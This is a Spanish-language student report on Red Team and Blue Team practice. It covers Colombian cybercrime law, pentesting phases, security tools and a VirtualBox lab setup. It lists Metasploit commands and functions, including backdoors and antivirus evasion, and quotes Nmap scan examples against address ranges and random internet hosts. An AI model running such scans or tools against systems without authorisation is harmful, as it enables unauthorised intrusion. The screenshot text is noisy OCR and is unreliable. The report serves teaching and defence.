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Resumen

La implementacion de equipos Red Team y Blue Team en las empresas se convierte en
un acierto para combatir las posibles vulnerabilidades que se presenten desde el exterior a los
activos de informacion que pueden ser objeto de ataques por parte de la ciberdelincuencia, el
conocimiento de estos equipos permiten consolidar un linea de defensa para la deteccién de
intrusos, cerrar vulnerabilidades y mitigar los posibles atagues que se puedan presentar por
medio de la explotacion de vulnerabilidades ya evidenciadas en prueba de penetracién y
contencion de los mismos.

A través de este informe técnico se pretende tener una vision de los aspectos legales que
regulan los delitos informaticos, seguridad de la informacion, proteccion de datos que garantizan
la confidencialidad de la informacién, comprender los alcances de los equipos de Red Team y
Blue Team relacionadas con su capacidad de gestion frente a incidentes que se puedan presentar
lograr mitigar, contener y asegurar la infraestructura de T dentro de la empresa empleado
estrategias de seguridad que permitan analizar el riego y las vulnerabilidades en la infraestructura
TI1 logrando asegurar el activo mas valioso de una empresa, como lo es su informacion.

Palabras clave: Blue Team, Ciberseguridad, Red Team, Hardening, Vulnerabilidad.



Abstract

The implementation of Red Team and Blue Team equipment in companies becomes a
success to combat possible vulnerabilities that arise from the outside to information assets that
can be subject to attacks by cybercrime, the knowledge of these equipment allows consolidating
a line of defense for the detection of intruders, close vulnerabilities and mitigate possible attacks
that may occur through the exploitation of vulnerabilities already evidenced in penetration and
containment tests.

Through this technical report, it is intended to have a vision of the legal aspects that
regulate computer crimes, information security, data protection that guarantee the confidentiality
of information, understand the scope of the Red Team and Blue Team teams related to their
management capacity in the face of incidents that may be mitigated, contain and secure the IT
infrastructure within the company using security strategies that allow analyzing the risk and
vulnerabilities in the IT infrastructure, ensuring the most valuable asset of a company, such as its
information.

Keywords: Blue Team, Cybersecurity, Red Team, Hardening, Vulnerability.
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Glosario

Actualizacion

Evento que permite que el software descargue de la nube informacion con las ultimas
correcciones en materia de seguridad.
Amenaza

Es aquella causa que permite materializar un incidente permitiendo causar dafos a los
activos de informacion de la empresa.
Antivirus

Software de seguridad que permite contrarrestar ataques logrando proteger el equipo
donde se encuentra instalado eliminando las amenazas que se puedan presentar.
Firewall

Es un sistema de seguridad que puede ser software o hardware que permite administrar el
trafico de red en la empresa logrando mitigar ataques desde conexiones inseguras filtrando
trafico autorizado y no autorizado.
Hardening

Proceso mediante el cual se robustece o endurece la seguridad informatica al interior de
la empresa logrando con esto mitigar vulnerabilidades que puedan existir.
NMAP

Software de cddigo abierto que permite rastrear puestos abiertos en un quipo o red
objetivo logrando con esto recopilar informacion para posibles ataques de vulnerabilidades.
Payload

Es un sistema modular que permite ejecutar la explotacion encontrada logrando

aprovechar la vulnerabilidad accediendo al equipo victima y accediendo a su informacion.
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Introduccion

Con el presente trabajo se pretende adquirir y profundizar conocimientos frente a los test
de penetracién denominados pentesting o Etikal Haking aplicando sus diferentes fases y
ejecucion de herramientas para lograr minimizar las vulnerabilidades en las organizaciones y
permitan establecer una correcta ejecucion de los niveles de seguridad informética evitando
perdida de informacidn, llevando estas pruebas a la practica con diferentes pruebas de
penetracion por medio de escenarios tecnoldgicos controlados.

Se profundiza frente a las acciones de los equipos Red Team & Blue Team por medio de
estrategias de contencién mediante el analisis de riesgos y vulnerabilidades en una
infraestructura T1 de acuerdo a los conocimiento adquiridos como equipos Blue Team en la
aplicacion componente practico para la contencion de ataques informaticos, siempre aplicando el
marco ético y legales, la normatividad vigente que regula los delitos informaticos, a su vez el
cadigo de ética profesional como marco legal en las actuaciones que enaltecen el ejercicio de las
funciones de la profesion de ingeniero ya que permite analizar la conduta profesional en sus
actuaciones dentro de la legalidad y transparencia.

Finalmente se abordara la importancia de la aplicacion de medidas de hardenizacion que
impidan ataques a los activos de informacion de la empresa mitigando y conteniendo su

propagacion.
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Objetivos

Objetivos General

Elaborar un informe técnico que permita implementar las estrategias propuestas por los
equipos Red Team y Blue Team en desarrollo de los escenarios propuestos en la empresa
CyberFort Technologies enmarcado dentro de la normatividad legal colombiana de
ciberseguridad y delitos informaticos.
Objetivos Especificos

Ejecutar las herramientas de ciberseguridad que permitan ejecutar las fases del pentesting
logrando llegar a este informe observando las estrategias que permitan remediar posibles
vulnerabilidades en el marco ético y legal.

Formular a través de los equipos Red Team y Blue Team estrategias de contencion
mediante el andlisis de riesgos y vulnerabilidades en una infraestructura TI.

Aplicar medidas de hardenizacion que minimicen los riesgos de ataque a los activos de

informacion de la empresa o que se repitan este tipo de ataques.



14

Marco Legal

Actualmente, Colombia tiene regulaciones vigentes sobre delitos informéticos y
proteccion de datos personales, ademas del codigo de ética profesional fundamental para la
carrera en ingenieria. A continuacion, se describira cada una de estas Leyes.
Ley 842 de 2003

“Por el cual se modifica la reglamentacion del ejercicio de la ingenieria, de sus
profesiones afines y de sus profesiones auxiliares, se adopta el Codigo de Etica Profesional y se
dictan otras disposiciones” (Publica E. F., 2023) con esta ley se buscé la reglamentacién del
desarrollo de la Ingenieria, A suvez como profesionales estamos sujetos al codigo de Etica que
establece las conductas profesionales que debemos ejercer, por tal razon el Consejo Profesional
Nacional de Ingenieria COPNIA plasmo lo contenido en la Ley 842 en su Cddigo de Etica
(Copnia, 2015) que permite validar el comportamiento profesional exigible y de cumplimiento
obligatorio, al igual este documento nos ilustra frente a los deberes, prohibiciones y sanciones
para los ingenieros.
Ley 1273 de 2009

“Por medio de la cual se modifica el Cddigo Penal, se crea un nuevo bien juridico
tutelado - denominado "de la proteccion de la informacion y de los datos"- y se preservan
integralmente los sistemas que utilicen las tecnologias de la informacion y las comunicaciones,
entre otras disposiciones” (Publica F. , Ley 1273 de 2009, 2009), la finalidad de esta ley es
definir de manera clara los delitos informaticos, a fin que se puedan judicializar de manera
efectiva por los organismos judiciales dentro de las investigaciones que se realicen cuando se
tipifiquen esta clase de delitos contra los sistemas informaticos y la informacion de los

colombianos, dejando clara las penas a las que se ven expuestos los ciberdelincuentes, con la
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entrada en vigencia la presente ley el estado colombiano promueve la proteccion de la
infraestructura digital y la seguridad de la informacion de los ciudadanos. Esta ley fue un gran
acierto del estado colombiano ya que permite modificar el codigo penal dando herramientas al
aparato judicial para investigar, sindicar, juzgar y judicializar a los ciberdelincuentes que
cometan estos delitos informaticos a través de la tipificacion de ellos con penas claras en cada
caso que se presente, ya que debido a la acelerada evolucion de la tecnologia, el gran aumento de
los sistemas de informacion a través de internet, se han expuesto dia a dia los internautas a la
ciberdelincuencia que no descansa para cometer sus delitos informéticos, estos no solo atacan a
un ciudadano en comun sino que también atacan la infraestructura tecnoldgica de empresas
gubernamentales publicas, la empresa privada, causando grandes pérdidas de informacion y
afectando su economia y llegado el caso afectar la defensa y seguridad del estado.
Ley 599 de 2000

“Por la cual se expide el Cédigo Penal.” (Publica F. , Ley 599 de 2000, 2000) sufre una
modificacion adicionando el Titulo VII BIS “De la proteccidn de la informacion y de los datos”
en esta Ley, una vez promulgada la ley 1273 de 2009 (Publica F. , Ley 1273 de 2009, 2009) que
contiene los siguientes Capitulos donde encontramos los diferentes articulos con la definicion
pena y multa del delito, que modifican y se aplican al Codigo Penal asi:

Capitulo | “De los atentados contra la confidencialidad, la integridad y la disposicién de

los datos y de los sistemas informaticos que enmarca los siguientes delitos informaticos:
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Articulo Delito Pena Multa
269% Acceso abusivo a un sistema Pena de prision de 48 De 100 a
informatico a 96 meses 1.000 SMLMV
269B Obstaculizacion ilegitima de Pena de prision de 48  De 100 a
sistema informatico o red de a 96 meses 1.000 SMLMV
telecomunicacion
269C Interceptacion de datos Pena de prision de 36 No lo Establece
informaticos a 72 meses
269D Dafio Informatico Pena de prision de 48 De 100 a
a 96 meses 1.000 SMLMV
269E Uso de software malicioso Pena de prision de 48 De 100 a
a 96 meses 1.000 SMLMV
269F Violacion de datos personales Pena de prision de 48 De 100 a
a 96 meses 1.000 SMLMV
269G Suplantacion de sitios web para Pena de prision de 48  De 100 a
capturar datos personales a 96 meses* 1.000 SMLMV **

*%*

La pena sefialada se agravara de una tercera parte a la mitad, si para consumarlo el

agente ha reclutado victimas en la cadena del delito.

Siempre que la conducta no constituya delito sancionado con pena mas grave.

Nota. Autoria propia.
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En relacion con el Articulo 269H: Circunstancias de agravacion punitiva, se pueden
agravar las penas de la mitad a las tres cuartas partes de los articulos antes descritos si la
conducta se comete con los siguientes agravantes:

Sobre redes o sistemas informéticos o de comunicaciones estatales u oficiales o del sector
financiero, nacionales o extranjeros.

Por servidor publico en ejercicio de sus funciones.

Aprovechando la confianza depositada por el poseedor de la informacién o por quien
tuviere un vinculo contractual con este.

Revelando o dando a conocer el contenido de la informacion en perjuicio de otro.

Obteniendo provecho para si o para un tercero.

Con fines terroristas o generando riesgo para la seguridad o defensa nacional.

Utilizando como instrumento a un tercero de buena fe.

Si quien incurre en estas conductas es el responsable de la administracion, manejo o
control de dicha informacion, ademas se le impondré hasta por tres afios, la pena de
inhabilitacion para el ejercicio de profesion relacionada con sistemas de informacion procesada
con equipos computacionales. (Publica F. , Ley 1273 de 2009, 2009)

Capitulo 1l “De los atentados informaticos y otras infracciones que enmarca los

siguientes delitos informéticos:
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Tabla 2

Delitos Informéticos Capitulo Il Ley 1273 de 2009

Articulo Delito Pena Multa

2691 Hurto por medios informaticosy  Penas sefialadas en el

semejantes. conducta sefialadaen  articulo 240 Codigo

el articulo 239 Cédigo Penal, Penal
269] Transferencia no consentida de Pena de prision de 48 Multa de 200 a 1.500
activos. a 120 meses SMLV

Si la conducta tuviere una cuantia superior a 200 SLMV, la sancion se incrementa en la mitad.

Nota. Autoria propia.

La Ley 1273 de 2009, adiciona al articulo 37 del Cddigo de Procedimiento Penal dando
la potestad de conocer de los delitos contenidos en el Titulo VI Bis a los Jueces Penales
Municipales y deroga el texto del articulo 195 del codigo penal relacionado con el Acceso
abusivo a un sistema informatico. Asi las cosas, esta Ley permite al aparato investigativo y
judicial proponer una lucha frontal contra la ciberdelincuencia.

Ley 1581 de 2012

“Por la cual se dictan disposiciones generales para la proteccion de datos personales”
(Colombia, 2012) reglamentada parcialmente a través del Decreto 1377 de 2013 emanado por el
Presidente de la Republica, esta Ley tiene como objeto ejercer el derecho constitucional que
tiene todo ciudadano a la proteccion de sus datos personales, conocer, actualizar y modificar la
informacion recaudada en bases de datos o archivos por parte de terceros, salvaguardar la misma
y evitar vulneraciones a sus derechos y garantias constitucionales, a su vez regula el derecho

constitucional a la informacion, con su implementacion se busca garantizar que el titular de la
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informacion conozca sus derechos, las politicas de tratamiento y las definiciones que se le
aplican, las autorizaciones y responsabilidades.
Decreto 338 de 2022

“Por el cual se adiciona el Titulo 21 a la Parte 2 del Libro 2 del Decreto Unico 1078 de
2015, Reglamentario del Sector de Tecnologias de la Informacion y las Comunicaciones, con el
fin de establecer los lineamientos generales para fortalecer la gobernanza de la seguridad digital,
se crea el Modelo y las instancias de Gobernanza de Seguridad Digital y se dictan otras
disposiciones” (Publica F. , Decreto 338 de 2022, 2022)este decreto permite al Pais generar
lineas de fortalecimiento desde el Gobierno dirigida a las autoridades que hacen parte de la
Administracion Publica del estado colombiano aplicando los principios de coordinacion y
colaboracion armdnica entre las instituciones en materia de seguridad digital, permite validar e
identificar infraestructura criticas cibernéticas, servicios esenciales, gestionar riesgos de
ciberseguridad y dar respuesta de manera oportuna a los incidentes de seguridad digital que se

presenten.
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Pruebas de Penetracion o Pentesting

¢Vamos a iniciar con la definicion de que es Pentesting? es una prueba (testing) de
penetracion (penetration) que permite detectar posibles fallas o vulnerabilidades de seguridad en
un sistema informatico, el alcance y las posibles contingencias que permitan mitigarlo, a través
de una simulacion de un ataque cibernético, ejecutando pruebas controladas que permiten evadir
la seguridad aplicada a los sistemas, a fin de auditar la infraestructura de red, los sistemas y las
diferentes aplicaciones de software instalados en la organizacién como resultado de estas pruebas
de penetracion se pueden tomar medidas que permitan reforzar y mejorando la ciberseguridad,
logrando con esto blindar la organizacion de intrusiones o ataques de los ciberdelincuentes.

Encontramos que el Pentesting se puede clasificar en tres tipos atendiendo la cantidad de
informacion que se tiene sobre la organizacion o los sistemas informéaticos que se pretenda
aplicar la prueba de penetracion asi:
Pentesting de Caja Blanca

Para la ejecucion de esta prueba el testeador hace parte de la organizacion o a través de
una fuente interna conoce toda la infraestructura tecnoldgica frente al software y hardware que se
dispone.
Pentesting de Caja Negra

Para la ejecucion de esta prueba el testeador hace su analisis partiendo de cero, sin ningin
tipo de informacion de la organizacion ni de los sistemas a testear.
Pentesting de Caja Gris

Para la ejecucion de esta prueba el testeador conoce apartes de informacion de la
organizacion, y a su vez desconoce gran parte de su informacion, este tipo de Pentesting es un

hibrido entre el la caja blanca y la caja negra.
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Fases del Pentesting

Dando aplicacion a las siguientes fases de las pruebas de penetracion, permitira
establecer el nivel de vulnerabilidad de la organizacion y tomar las acciones para remediar
posibles ataques informaticos a los sistemas de informacion:
Figural
Prueba de Penetracion

Pasos de la prueba de penetracion

Information
Gathering
=]

Las pruebas de penetracién de Tl siguen los pasos a continuacion:

e Validacion con el cliente de las pruebas a realizar

e Recopilacion de informacién sobre las piezas que se van a probar

e Creacion de la plantilla de prueba de penetracién (scripts, etc.)

e Pruebas de vulnerabilidades y brechas

e Blsqueda de exploits (herramientas que permiten utilizar lagunas para invadir sistemas)
o Exploits de escaneo

o Reporte final al cliente con andlisis de riesgos (probabilidades e impactos) y sugerencias

de mejora

Nota. Imagen que representa los pasos de las pruebas de penetracion. Tomado de. Cybergo.com.

PenTest: Pruebas de penetracion.2020. https://cybergo.com.br/pentest-testes-de-penetracao/

Recopilacién de Informacion (Information Gathering)

Esta fase se accede y recolecta la informacion pablica que se puede acceder del objetivo.
Se puede aplicar reconocimiento activo, pasivo 0 ambos.

El Reconocimiento pasivo no permite dejar huella digital al momento de recolectar la
informacidn sobre un objetivo. Conocido como footprinting, su principal caracteristica es la no
interaccion del sistema, se utilizan herramientas que permitan recopilar dominios y subdominios,
DNS como WHOIS, descubrimiento de tecnologias utilizadas a través de Wappalyzer,

BuiltWith, recoleccion de inteligencia por medio de fuentes abiertas como OSINT, Motores de
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Busqueda Activos (Shodan, Netlas) que nos valida servicios y versiones en ejecucion,
MetaDatos de archivos en la red (Google Hacking, GooFuzz, FOCA).

El Reconocimiento activo puede dejar huella digital, su interaccion es directa con el
objetivo que se analiza. Conocido como fingerprinting y, se requiere un permiso para hacer este
tipo de andlisis, se utilizan las siguientes herramientas que permiten el escaneo de puertos en los
dominios relevantes (Nmap o RustScan), basqueda de directorios y recursos (BurpSuite,
OWASP ZAP, Feroxbuster o ffuf)

Modelado de Amenazas (Threat Modeling)

Culminada la fase anterior y recauda toda la informacion se procede a generar la
estrategia que se va aplicar para e modelado de las posibles amenazas comparando la defensa del
sistema y lograr definir cada una de las vulnerabilidades detectadas que nos permitira explotarlas
en las siguiente fase.

Analisis de Vulnerabilidades (Vulnerability Analysis)

Como ya se tienen el modelado de amenazas y con el fin de descubrir los activos de la
infraestructura, sistemas y aplicaciones versiones y servicios de uso se aplican las siguientes
herramientas avanzadas que permiten la identificacion de vulnerabilidades como Nmap, Nessus,
Acunetix, WPScan 0 SQLMap
Explotacién (Exploitation)

Esta es la fase se ejecutan las vulnerabilidades encontradas en la fase anterior, se definen
cuéles son amenazas reales y explotables, para determinar su impacto, su complejidad, su nivel
de acceso, la cantidad de datos expuestos, su sensibilidad y su afectacion en la disponibilidad,

integridad y confiabilidad, en este punto se aplican una metodologia como OWASP (Open Web
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Aplication Security Project), la cual permite aplicar acciones y buenas practicas de mitigacion
para las vulnerabilidades encontradas.
Explotacidn Posterior (Post Exploitation)

En base a las vulnerabilidades reales y que fueron explotadas y remediadas, se debe
persistir en el sistema para volver a acceder al mismo toda vez que se abren nuevos servicios
ocultos que también podrian ser explotados, por eso la importancia de continuar con una
explotacion posterior mas a profundidad que nos permita extraer nueva informacion de posibles
vulnerabilidades en busca de soluciones de los fallos de seguridad y lograr mitigarlos.

Reporte (Reporting)

En esta ultima fase del Pentesting, se centra en generar un informe estructurados que
evidencie los fallos de seguridad que se encontraron, las amenazas de ciberseguridad existentes,
las soluciones de mitigacion y las acciones de mejora en la seguridad de la organizacion.

Es importante que el informe sea comprensible por parte del personal técnico y no
técnico de la empresa en todos sus niveles deben generarse informes técnicos y ejecutivos
destinado para la toma de decisiones que permita a la organizacion tomar las medidas de

asegurabilidad de sus sistemas de ciberseguridad.
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Herramientas de Ciberseguridad

Las herramientas de ciberseguridad estan encaminadas a ejecutar analisis de
vulnerabilidades dentro de las mas utilizadas se profundizara en:
Metasploit

Esta Herramienta permite realizar pruebas de penetracion o hacking ético, es un software
de codigo abierto inicialmente creado en lenguaje Perl y luego traducido a Ruby que le permitio
mayor eficiencia por tal razon es la herramienta méas popular entre los profesionales de la
seguridad informatica, cuenta con una coleccion de mas de 1677 exploits (CIBERSEGURIDAD,
2024) que permiten probar las vulnerabilidades de los sistemas informaticos, sus principales
funciones se encuentran:

Escanear y recopilar informacion

Identificar y explorar vulnerabilidades

Escalada de privilegios

Instalar Backdoors

Hacer Fuzzing

Evasion de antivirus

Modulos posteriores a la exploracion

Eliminacion de rastros

Ingenieria Social

Entre otras.

Busca mejorar la conciencia sobre seguridad y ayuda a los equipos de seguridad en la
defensa de las vulnerabilidades.

Cuenta con cuatro interfases disponibles dentro de las cuales se encuentran:
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MSFConsole: la més utilizada la cual permite acceder a través de una linea de comando
interactiva.

MSFWeb: permite acceder al marco de Metasploit a través de una interfaz basada en
navegador.

Armitage: Interfaz grafica basada en Java colaborativa entre equipos de seguridad donde
se comparten host comprometidos.

RPC: permite su manejo mediante programacion con servicios de llamada a
procedimientos remoto basado en HTTP, puede operar con otros lenguajes como Java, Python y
C.

Metasploit cuenta con tres bibliotecas ( REX, MSF Core y Base de MSF) que ayudan en
la ejecucion de los sploits en la interaccion de los usuarios sin necesidad de escribir codigo
adicional.

Metasploit Framework para realizar diferentes tareas de escaneo y explotacion de
objetivos usa un software denominado médulos que se clasifican en cinco mddulos principales
(CIBERSEGURIDAD, 2024) asi:

Cargas Utiles: las cargas Utiles son cddigos de shell que realizan las acciones previstas por
el usuario una vez que un exploit ha comprometido un sistema objetivo. Se pueden usar para
abrir Meterpreters o comandos de shells. Los Meterpreters son cargas Utiles sofisticadas que se
utilizan durante un ciberataque para ejecutar codigo y realizar mas tareas exploratorias.
(CIBERSEGURIDAD, 2024)

Exploits: ejecuta secuencias de comandos para aprovechar las debilidades del sistema o

de la aplicacion y obtener acceso a los sistemas de destino. (CIBERSEGURIDAD, 2024)
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Publicaciones (médulos posteriores a la explotacién): las publicaciones permiten a los
usuarios realizar una recopilacion de informacion mas profunda e infiltrarse ain mas en un
sistema de destino después de la explotacion. Por ejemplo, las publicaciones se pueden utilizar
para realizar la enumeracion de servicios. (CIBERSEGURIDAD, 2024)

Codificadores: los codificadores ocultan las cargas Utiles en transito para garantizar que
se entreguen correctamente al sistema de destino y eviten la deteccion del software antivirus, los
sistemas de deteccion de intrusiones (IDS) y los sistemas de prevencion de intrusiones (IPS).
(CIBERSEGURIDAD, 2024)

NOP (No Operation): los generadores NOP crean secuencias aleatorias de bytes para
evitar los sistemas de deteccion y prevencion de intrusiones. (CIBERSEGURIDAD, 2024)

Auxiliares: los médulos auxiliares incluyen escaneo de vulnerabilidades, escaneo de
puertos, fuzzers, sniffers y otras herramientas de explotacion. (CIBERSEGURIDAD, 2024)

Encontramos que Metasploit integra otras herramientas de ciberseguridad, como Nmap,
Nessus y Nexpose robusteciendo su capacidad.

Dentro de la gran lista de comando utilizados en metasploit vamos a relacionar algunos
comandos basicos (school, 2024)

Msfconsole: ejecuta el Metaspoit en la consola de comando

search <name>: Buscar cualquier Herramienta

use <module name> (Auxiliary, Exploits, Payloads, Posts, Encoders, Nops): para hacer
uso del modulo solicitado.

set <variable> <value>: para conocer las variables requeridas n el modulo

info: desplegara una tabla con los requerimientos obligatorios para ejecutar

show options: para conocer las funciones de una herramienta o exploit
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Nmap

Es una herramienta que permite escanear puertos y validacion de los equipos disponibles
en la red sus sistemas operativos, 10s servicios se encuentran activos, los paquetes que se envian
en la red, adicionalmente permiten ejecutar script para detectar vulnerabilidades, es un software
de codigo abierto para exploracion de red, inventarios de equipos, planificacion de
actualizaciones, monitoreo del tiempo de los servicios activos que finalmente permiten aplicar
una auditoria de seguridad.

Genera un listado de objetivos analizados que permite recibir gran informacion detallada
frente a cada uno de los equipos escaneados en la red que incluye los puertos, protocolos,
servicios, version de la aplicacion, DNS, sistemas operativos, tipo de dispositivos y direcciones
MAC.

Su comando de ejecucion es nmap con la siguiente sintaxis:

nmap [ <Tipo de sondeo> ...] [ <Opciones> ] { <especificacion de objetivo> }

Cuando se ejecuta solo el comando nmap sin pardmetros genera el resumen de opciones o
una ayuda que nos permite validar y conocer la parametrizacion para ejecutar este programa o

abriendo el siguiente link https://nmap.org/data/nmap.usage.txt para que nos muestre la Gltima

version (NMAP.ORG, Guia de referencia de Nmap, 2024)

En la documentacion consultada nos presentan los siguientes ejemplos del uso de la
herramienta (NMAP.ORG, Ejemplos, 2024)

nmap -v scanme.nmap.org Esta opcion sondea todos los puertos TCP reservados en el
servidor scanme.nmap.org. La opcion -v activa el modo detallado (también Ilamado verboso).

(NMAP.ORG, Ejemplos, 2024)



28

nmap -sS -O scanme.nmap.org/24 Lanza un sondeo de tipo SYN sigiloso contra cada una
de las 255 méaquinas en la “clase C” de la red donde esté el sistema "analizame". También intenta
determinar cudl es el sistema operativo que se ejecuta en cada maquina que esté encendida. Esto
requiere permisos de root por la opcion de sondeo SYN y por la de deteccion de sistema
operativo. (NMAP.ORG, Ejemplos, 2024)

nmap -sV -p 22,53,110,143,4564 198.116.0-255.1-127

Lanza una enumeracién de equipos y un sondeo TCP a cada uno de la primera mitad de
las 255 posibles subredes de 8 bit en la red de clase B 198.116. Esto probara si los sistemas estan
ejecutando sshd, DNS, pop3d, imapd o tienen un servidor en el puerto 4564. Para cualquier
puerto que se encuentre abierto, se realizara una deteccion de version para determinar qué
aplicacion se esta ejecutando. (NMAP.ORG, Ejemplos, 2024)

nmap -v -iR 100000 -P0O -p 80

Solicita a Nmap que elija 100.000 sistemas aleatoriamente y los sondee buscando
servidores web (puerto 80). La enumeracion de sistemas se deshabilita con -PO ya que es un
desperdicio enviar un par de pruebas para determinar si el sistema debe ser analizado cuando de
todas maneras sdlo se va a analizar un puerto. (NMAP.ORG, Ejemplos, 2024)

nmap -P0 -p80 -0X logs/pb-port80scan.xml -0G logs/pb-port80scan.gnmap
216.163.128.20/20

Esto sondea 4096 IPs para buscar cualquier servidor web (sin enviar sondas ICMP) y
guarda la salida en formato para grep y en XML. (NMAP.ORG, Ejemplos, 2024)
OpenVas

OpenVAS (Open Vulnerability Assessment Scanner, originalmente conocido como

GNessUs) es el componente de escaneo de Greenbone Vulnerability Management (GVM), un
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marco de software de varios servicios y herramientas que ofrecen escaneo y gestion de
vulnerabilidades informaticas. (WIKIPEDIA.ORG, 2024)

Es un software libre con licencia GNU (GLP) Los complementos para Greenbone
Vulnerability Management escritos en Nessus Attack Scripting Language, NASL. Presenta una
actualizacion continua no inferior a 24 horas es la herramienta principal de OSSIM.
(WIKIPEDIA.ORG, 2024)

Esta herramienta de escaneo de vulnerabilidades presenta las siguientes funciones

Pruebas autenticadas.

Pruebas no autenticadas.

Cuenta con protocolos industriales y de Internet de alto y bajo nivel.

Ajustes personalizados de rendimiento para exploraciones a gran escala.

Desarrollado en un potente lenguaje de programacion interno para implementar cualquier
tipo de prueba de vulnerabilidad.

Dentro de su caracteristica principal encontramos que ofrece explotacion de
vulnerabilidades y su gestion por medio de los servicios y utilidades en su gran documentacion,
ejecucion desde lineas de comandos o en modo grafico con una interfaz muy completa que
permite la generacién de informes de interés y sin dejar a un lado que a través de su comunidad
presta apoyo en el momento de explotar vulnerabilidades en su web o en los foros como Reddit.
ExploitDB

Esta aplicacion web denominada ExploitDB es un proyecto sin animo de lucro que fue
desarrollado por la compariia Offensive Security, que también es la creadora del sistema

operativo Kali Linux. (School, 2024)
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Encontramos que es una aplicacién web que consolidad bases de datos publicas con
ayuda de los usuarios con exploits para vulnerabilidades conocidas, los cuales son utilizador por
los pentester de todo el mundo gratuitamente logrando con esto que las auditorias de
ciberseguridad se realicen de mayor calidad toda vez que estas consultas son fuentes adicionales
de consulta de la existencia de exploits para las vulnerabilidades de los sistemas.

CVE

El fin del Programa CVE es identificar, definir y catalogar las vulnerabilidades de
ciberseguridad divulgadas publicamente. Generando un registro CVE para cada una de ellas y
son cargadas en el catdlogo. Cada vez que las vulnerabilidades son descubiertas, se asignan y
publican por organizaciones a nivel mundial para que todos los puedan ver, los socios del
programa CVE publican registros CVE para comunicar descripciones coherentes de las
vulnerabilidades. Los profesionales T.I. y la ciberseguridad utilizan los registros CVE para
asegurarse de que estan hablando del mismo problema y para aunar sus esfuerzos en priorizar y

abordar las vulnerabilidades. (CVE.ORG, 2024)
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Instalacion Banco de Trabajo
Atendiendo las indicaciones del tutor y en desarrollo de la guia de actividades se procede
hacer la el respectivo en los siguientes términos:
Instalacion VirtualBox (Maquina Virtual)

Paso A: Descargar VirtualBox desde la pagina oficial Downloads — Oracle VirtualBox

una vez finalizada la descarga se procede con su instalacion.
Figura 2

Proceso de Instalacion VirtualBox (Maquina Virtual)

B Oracle VirtualBox 7.1
End-User License Agreement
Welcome to the Oracle Please read the following license agreement carefully.
VirtualBox 7.1.2 Setup Wizard
The Setup Wizard will install Orade VirtualBox 7. 1.2 on your COPYING file for VirtualBox versions 7.0 and later versions that
computer. Click Next to continue or Cancel to exit the Setup inchude this file |

Wizard,

Preliminary notes:

1) The majority of the code in the VirtualBox base package is
licensed under the GNU General Public License, version 3 (GPL).
VirtualBox contain s many components developed by Oracle and
various third parties. The license for each comoonent is located in

© 1 accept the terms in the License Agreement
(O 1 do not accept the terms in the License Agreement

Next > Cancel
= ——— <ok e

7]

p 2 -
Preferencias  Importar Exportar Nueva Afadir

Oracle VirtualBox 7.1.2
installation is complete. IElanenido = VirtaiBox

La parte izquierda de esta ventana contiene
herramientas globales y una lista de todas las
maquinas virtuales y grupos de maquinas
Click the Finish button to exit the Setup Wizard. virtuales en su computadora. Puede importar,
afadir y crear nuevas MVs usando los botones
de la barra de
Puede abrir un «popup= del elemento
seleccionado actualmente usando el botén de
elemento correspondiente. Puede presionar ls

. Start Orade VirtualBox 7. 1.2 after installation tecla F1 para obtener ayuda instantanes o visitar
et rtualbox.org para mis ylas
Gltimas noticias.
Please choose Experience Mode! Basic Mode
By default, the VirtualBox GUI is hiding some Expert Mode

options, tools and wizards.

The Basic Mode is intended for those users who
are not interested in advanced functionality and
prefer a simpler, cleaner interface.

The Expert Mode is intended for experienced
users who wish to utilize all VirtualBox
functionality.

You can choose whether you are 2 beginner or

: ik e experienced user by selecting required option at
Version 7.1.2 DA "SI ANCE the right. This choice can always be changed in

{ Global Preferences or Machine Settings windows.

Nota. Representacion paso a paso del proceso de instalacion Maquina Virtual.



Paso B: Se hace la descarga de los archivos compartido a través del enlace de descarga
suministrado en el Foro para el desarrollo de la actividad en el enlace

https://unadvirtualedu-

my.sharepoint.com/:f:/g/personal/luis zambrano unad edu co/EkdfOBY Mt0tDh-

vNUeGND50BIfEMt6nCOGOfsWnuXr8E9Q?e=cN102a

Figura 3

lustracion Carpeta Compartida Laboratorio Seminario Especializado

{Jnap == g ofice OneDrive O search
@ Share [g Sync G2 Copy link Add shortcut to OneDrive L Download 8 Export to Excel IF Sot v+ = ~ @& Details
Luis Fernando Zambrano Hernand : o o
S TSTIHNC0 ERIBNANS Hnpnces Laboratorios Controlados > Seminario Especializado > RedTeam&BuleTeam2024 &3
£ Luis Fernando Zambrano Her..
ER Our files ™ Name Modified Modified By ~ File size Sharing Activity
= Rejjeto_123456.zip 4.6 MB d
Win7-SE2020-X64.0va G ared

Nota. Recurso compartido archivos para el laboratorio RedTeams&BlueTeams 2024.

Figura4

Cargue Imagen SO Win7 al VirtualBox

Servicio a importar Preferencias de servicio
Seleccione el origen desde el que importar el servicio. Puede ser el sistema de archivos local para

Estas son las maquinas virtuales contenidas en el las preferencias sugeridas de las maquinas
importar un archivo OVF o uno de los proveedores de servicio en la nube conocidos para importar la

virtuales importadas de VirtualBox. Puede cambi e 1as propiedades mostradas haciendo doble
clic en los elemencs y deshabilitar otras usando de verificaion de abajo.

Sistemna virtual 1

Seleccione un archivo desde el que importar el servicio virtualizado. VirtualBox actualmente soporta € Nombre Win7-5E2020-X64
mpo ios guardados en Open Virtualization Format (OVF). Para continuar, seleccione el archivo B Tipo de SO invitado BB Windows 7 (64-bit)
importar abaj @ v 3
Archivo: C:\SEMINARIO\OneDrive_1_12-10-2024\Win7-SE2020-X64.0va a 8 ram 4096 MB
@ ovwo [}
£ Controlador US8 ]
(0 Tarjeta de sonido @ Audio Intel HD
Carpeta base de maquina: " C:\Users\wilma\VirtualBox VMs

Politica de direccién MAC:  Incluir solo la direccién MAC del adaptador de red NAT

Opciones adicionales: @ Importar discos como VDI

Servicio virtualizado no firmado

Ayuda

Siguiente  Cancelar Ayuda Anterior Terminar Cancelar

Nota. Se procede con la importacion de sistema operativo Windows 7 en el VirtualBox.

32
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Figura5

Cambio Tipo Adaptador en la Virtualbox

on o earch setting:
B O @ .- 4 '
Nueva Aadir  Configuracién Descartar Iniciar .
_ ESISeg. DB =] General =] previsualizacién !J General Red
= Nombre: Win?-SE2020-X64 e — 1
{| ] Warse020X64 B Sitema cpcnticr Windows 7 640 ] sitema Adwada 1, Acad iAoy il Olhedors
[ © apagada Grupos: €51 Seg. DB
| Maameaasian s T 'Hamlmvndap(admdtved
[&] sistema

Win7-SE2020-X64 B rata

Memoria base: 4096 MB Conectado Adaptador puente

Orden de aranque:  Optica, Disco duro ) 3
Aceleracion: Paginacién anidads, Almacenamiento Nombre: Realtek PCle GoE Family Controller
